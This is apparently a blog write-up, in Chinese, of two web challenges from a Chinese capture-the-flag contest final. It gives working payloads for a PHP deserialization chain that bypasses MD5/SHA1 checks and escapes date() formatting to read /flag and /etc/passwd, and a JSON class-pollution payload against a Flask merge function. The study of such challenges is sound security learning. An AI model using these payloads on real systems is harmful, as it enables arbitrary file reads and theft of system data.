江苏省第七届网络空间知识技能大赛决赛-WEB

WEB1

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
error_reporting(0);
class date{
public $a;
public $b;
public $file;
public function __wakeup(){
if(is_array($this->a)||is_array($this->b)){
die("no array");
}
if(($this->a!=$this->b) && (md5($this->a)===md5($this->b) && sha1($this->a)===sha1($this->b))){
$content = date($this->file);
$uuid = uniqid().'.txt';
file_put_contents($uuid,$content);
$data = preg_replace(('/((\s)*(\n))+(\s)*/i'),'',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));

定义了一个data类,有三个属性$a$b$file,其中$a$b会用来进行MD5和sha1强比较,并且限制了数组绕过

MD5和sha1绕过

方法一:用Error类绕过

1
$a = new Error("",1);$b = new Error("",2);

image-20251118103827092

注意这里一定要写在同一行,不然不能绕过,如:

image-20251118103946936

方法二:NAN或INF绕过

文章:https://www.cnblogs.com/dre0m1/p/16062369.html

image-20251118104159011

1
2
$a = NAN;
$b = "NAN";

image-20251118104238701

1
2
$a = INF;
$b = "INF";

image-20251118104301677

解题思路:调试

绕过第一步后然后是看下面这段代码

1
2
3
4
5
$content = date($this->file);
$uuid = uniqid().'.txt';
file_put_contents($uuid,$content);
$data = preg_replace(('/((\s)*(\n))+(\s)*/i'),'',file_get_contents($uuid));
echo file_get_contents($data);
  • 首先这里的date()不是这个类,而是一个用于格式化日期和时间的函数,这里传入的是file参数,会被当作日期格式的字符串,并把返回内容赋值给$content
  • 然后利用uniqid()函数生成一个字符串当作文件名,经过拼接后会得到一个.txt文件,赋值给$uuid
  • 然后利用file_put_contents函数将$content的内容写入到$uuid文件中
  • 然后利用preg_replace函数将$uuid文件中的所有空白字符(空格、换行、制表符等)移除,并赋给$data,其实这里的$data就相当于除去了空白字符$file的值
  • 最后用file_get_contents读取$data文件中的内容,并打印出来,这里就存在文件包含,可以尝试任意文件读取
1
unserialize(base64_decode($_GET['code']));

最后会先对字符串先base64解码,再进行unserialize

刚开始我是想直接给$file赋值/flag,最后$data也会是/flag,然后就能读了,但是我还是想的太简单了

1
2
3
4
5
6
7
8
$a = NAN;
$b = "NAN";
$s = new date();
$s->a = $a;
$s->b = $b;
$s->file = '/flag';
$ss = base64_encode(serialize($s));
echo $ss;

image-20251118105636344

1
Tzo0OiJkYXRlIjozOntzOjE6ImEiO2Q6TkFOO3M6MToiYiI7czozOiJOQU4iO3M6NDoiZmlsZSI7czo1OiIvZmxhZyI7fQ==

image-20251118110850299

然后我就想为什么不能读,突然想调试一下试试,以前也没调试过,正好这次试试

加上反序列化的代码,然后在此处下个断点

image-20251118111043223

然后我就发现了$data的值并不是我预想的/flag,而是变成了/fTuesdayma11

image-20251118111129234

这里想到刚开始$content的内容是经过date()函数返回的,传入的$file是被当作日期格式的字符串,所以$data的值就不是预想的结果

传入正常的日期格式的字符串试试

1
Y-m-d H:i:s

image-20251118111455557

会发现此时$data的值就是一个时间了,但是我突然想到一个奇怪的地方,为什么/flag返回的是/fTuesdayma11,前面的/f是没变的,然后开始一点点写:

1
/f

image-20251118111651347

只有/f的时候,$data的值还是/f不变的,并没有出现关于日期时间的内容,然后再添加l

1
/fl

image-20251118111815600

发现前面的/f还是没有变化,但是多添加的l变成了日期Tuesday,这是为什么

然后我就想会不会是因为f的前面有一个/符号,所以没有被转化,我就尝试在l的前面也加一个符号试试,既然是添加符号,我第一个想到的就是转义符\,尝试一下:

1
/f\l

image-20251118112157028

果然成功了,所以只要在每个字符的前面加上一个转义符,就不会被当作日期时间的格式了

1
/\f\l\a\g

image-20251118112308552

1
Tzo0OiJkYXRlIjozOntzOjE6ImEiO2Q6TkFOO3M6MToiYiI7czozOiJOQU4iO3M6NDoiZmlsZSI7czo5OiIvXGZcbFxhXGciO30=

image-20251118112334931

读其他文件也是一样

1
/\e\t\c/\p\a\s\s\w\d

image-20251118112458186

1
Tzo0OiJkYXRlIjozOntzOjE6ImEiO2Q6TkFOO3M6MToiYiI7czozOiJOQU4iO3M6NDoiZmlsZSI7czoyMDoiL1xlXHRcYy9ccFxhXHNcc1x3XGQiO30=

通过这一题我第一次感觉到调试这么好用,也是学到了

WEB2

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask,request
import json
app = Flask(__name__)

def merge(src,dst):
for k,v in src.items():
if hasattr(dst,'__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v,dst.get(k))
else:
dst[k] = v
elif hasattr(dst,k) and type(v) == dict:
merge(v,getattr(dst,k))
else:
setattr(dst,k,v)

class cls():
def __init__(self):
pass
instance = cls()

@app.route('/',methods=['POST','GET'])
def index():
if request.data:
merge(json.loads(request.data),instance)
return "This is index"
@app.route('/src',methods=['POST','GET'])
def src():
return str(open(__file__).read())

if __name__ == '__main__':
app.run(host='0.0.0.0', port=9878, debug=False)

下面这段代码就是典型的存在原型链污染

1
2
3
4
5
6
7
8
9
10
11
def merge(src,dst):
for k,v in src.items():
if hasattr(dst,'__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v,dst.get(k))
else:
dst[k] = v
elif hasattr(dst,k) and type(v) == dict:
merge(v,getattr(dst,k))
else:
setattr(dst,k,v)

原理

_static_folder是Flask应用的静态文件目录配置,利用原型链污染将其修改为根目录,从而可以在static目录下访问到根目录下的文件

解析

instance

1
instance

从以下代码中可以看出instancecls类的一个实例化对象

1
2
3
4
class cls():
def __init__(self):
pass
instance = cls()

所以利用print打印出的是该对象的内存地址和类型

1
print(instance)

image-20251117151343006

__init__

1
instance.__init__

__init__是实例的绑定方法,这个方法在类定义的时候创建,包含了定义时上下文信息

最关键的是方法对象有__globals__属性,指向定义时的全局命名空间

1
print(instance.__init__)

image-20251117151615031

__globals__

1
instance.__init__.__globals__

__globals__是函数对象的一个属性,它引用该函数定义时的全局命名空间(全局变量字典)

可以通过__globals__访问到定义时的所有全局变量

1
print(instance.__init__.__globals__)

image-20251117153156115

通过上面图中可以发现app变量在这个全局作用域中,所以可以通过这个链访问到 Flask 应用实例

['app']

1
instance.__init__.__globals__['app']

下面这句代码使app实例成为全局变量,从而可以被任何在同一个模块中定义的函数通过__globals__访问到,这就创造了原型污染攻击的条件

1
app = Flask(__name__)
1
print(instance.__init__.__globals__['app'])

image-20251117153631276

__dict__

1
instance.__init__.__globals__['app'].__dict__

__dict__是一个字典,包含了对象的所有实例属性

通过['app'].__dict__可以获取到 Flask 应用实例的所有属性

1
print(instance.__init__.__globals__['app'].__dict__)

image-20251117154158057

其中就可以看到要攻击的目标属性_static_folder

_static_folder

1
instance.__init__.__globals__['app']._static_folder

上面已经可以看到要攻击的目标属性_static_folder

可以直接通过['app']._static_folder访问到该属性

1
print(instance.__init__.__globals__['app']._static_folder)

image-20251117154428994

污染_static_folder

可以看到此时_static_folder这个属性默认值是static,可以利用原型链污染漏洞将其值污染为根目录/,从而可以在该目录下访问到根目录的文件

1
2
3
4
5
6
7
8
9
{
"__init__": {
"__globals__": {
"app": {
"_static_folder": "/"
}
}
}
}

image-20251117154916200

然后就可以在static目录访问到根目录文件

1
/static/etc/passwd

image-20251118114228296

当时比赛的时候这俩都没做出来,既有比赛环境的问题(没有自己的电脑做起来怪怪的,WEB1用到的Phpstorm都没装,我醉了),也有我自己的问题(第二题原型链污染不算难,但是我当时还是想不到payload怎么写的,平时一直复制粘贴payload,没有好好看看,借助这次复现就学习一下了),还是要好好学啊


江苏省第七届网络空间知识技能大赛决赛-WEB
https://yschen20.github.io/2025/11/18/江苏省第七届网络空间知识技能大赛决赛-WEB/
作者
Suzen
发布于
2025年11月18日
更新于
2025年11月18日
许可协议